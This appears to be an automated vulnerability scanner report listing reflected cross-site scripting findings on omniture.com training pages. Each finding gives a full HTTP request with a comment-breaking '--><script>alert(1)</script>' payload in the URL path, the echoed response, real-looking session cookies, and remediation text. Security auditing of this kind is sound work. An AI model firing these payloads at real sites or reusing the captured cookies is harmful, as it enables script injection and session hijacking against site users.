Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certificationa5207--><script>alert(1)</script>e0cb34aa69e/support HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:51 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:51 GMT Content-Length: 23149 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certificationa5207--><script>alert(1)</script>e0cb34aa69e/support cached on 2 February 2011 at 11:14:51 PST (3318309ecabd00e231f923c3e1456d37) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 96a43--><script>alert(1)</script>9b876000faf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/support96a43--><script>alert(1)</script>9b876000faf HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:35 GMT Content-Length: 23149 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/support96a43--><script>alert(1)</script>9b876000faf cached on 2 February 2011 at 11:15:35 PST (4e80afd2bc7e5c8032667c3e55758818) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload d0476--><script>alert(1)</script>f41183d6438 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certificationd0476--><script>alert(1)</script>f41183d6438/test_target HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:59 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:59 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:59 GMT Content-Length: 23157 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:59 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certificationd0476--><script>alert(1)</script>f41183d6438/test_target cached on 2 February 2011 at 11:14:59 PST (9e33a94851c308ad0b4089e3a5e7d07d) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 55549--><script>alert(1)</script>b54fc3aa547 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/test_target55549--><script>alert(1)</script>b54fc3aa547 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:39 GMT Content-Length: 23157 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:39 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/test_target55549--><script>alert(1)</script>b54fc3aa547 cached on 2 February 2011 at 11:15:39 PST (c30b8f877f12bd485fbe89c78707b1d9) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload b492d--><script>alert(1)</script>a589f3af708 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/coursesb492d--><script>alert(1)</script>a589f3af708 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:41 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:41 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:42 GMT Content-Length: 23121 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:41 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/coursesb492d--><script>alert(1)</script>a589f3af708 cached on 2 February 2011 at 11:08:41 PST (d8c44c4f8718a8369194d744b083ce31) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 2594e--><script>alert(1)</script>c303946b74c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses2594e--><script>alert(1)</script>c303946b74c/discover HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:19 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:20 GMT Content-Length: 23139 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:19 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses2594e--><script>alert(1)</script>c303946b74c/discover cached on 2 February 2011 at 11:09:19 PST (e475c5c8b083a0a4c929022e80ae08f5) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload d25bc--><script>alert(1)</script>c7e5e428679 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/discoverd25bc--><script>alert(1)</script>c7e5e428679 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:52 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:52 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:52 GMT Content-Length: 23139 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:52 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/discoverd25bc--><script>alert(1)</script>c7e5e428679 cached on 2 February 2011 at 11:09:52 PST (db73b8264ad43379a4f0479e469cc599) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload d897c--><script>alert(1)</script>f92a9dde036 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/coursesd897c--><script>alert(1)</script>f92a9dde036/dop_analyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:06 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:06 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:07 GMT Content-Length: 23145 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:06 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/coursesd897c--><script>alert(1)</script>f92a9dde036/dop_analyst cached on 2 February 2011 at 11:09:06 PST (0d66dcbf8c67576b84cc82e1eeb9a9ce) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 2183f--><script>alert(1)</script>940eaeea82d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/dop_analyst2183f--><script>alert(1)</script>940eaeea82d HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:09:50 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:09:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:09:50 GMT Content-Length: 23145 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:09:50 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/dop_analyst2183f--><script>alert(1)</script>940eaeea82d cached on 2 February 2011 at 11:09:50 PST (9e28374600ac595efe3b3c9ac534a3c4) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload c2a10--><script>alert(1)</script>8ec86a79fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/coursesc2a10--><script>alert(1)</script>8ec86a79fb/merchandising HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:30 GMT Content-Length: 23147 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/coursesc2a10--><script>alert(1)</script>8ec86a79fb/merchandising cached on 2 February 2011 at 11:10:29 PST (6185302852f0b7e965598484ed0d3e6b) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload e6290--><script>alert(1)</script>ee3df5ac240 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/merchandisinge6290--><script>alert(1)</script>ee3df5ac240 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:13 GMT Content-Length: 23149 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:13 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/merchandisinge6290--><script>alert(1)</script>ee3df5ac240 cached on 2 February 2011 at 11:11:13 PST (bba413f1f92fa5f6ecefeb0b882d0c73) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload b83d5--><script>alert(1)</script>d520792ef05 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/coursesb83d5--><script>alert(1)</script>d520792ef05/online_marketing_suite HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:38 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:38 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:38 GMT Content-Length: 23167 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:38 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/coursesb83d5--><script>alert(1)</script>d520792ef05/online_marketing_suite cached on 2 February 2011 at 11:10:38 PST (3da7b4d052fdfee26723f7d9fc181c1d) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload de8e1--><script>alert(1)</script>ac75454414c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/courses/online_marketing_suitede8e1--><script>alert(1)</script>ac75454414c HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:05 GMT Content-Length: 23167 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/courses/online_marketing_suitede8e1--><script>alert(1)</script>ac75454414c cached on 2 February 2011 at 11:11:05 PST (6a82efa1a312cc5b50b89f0c56639005) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 7b850--><script>alert(1)</script>80678e5f3b8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
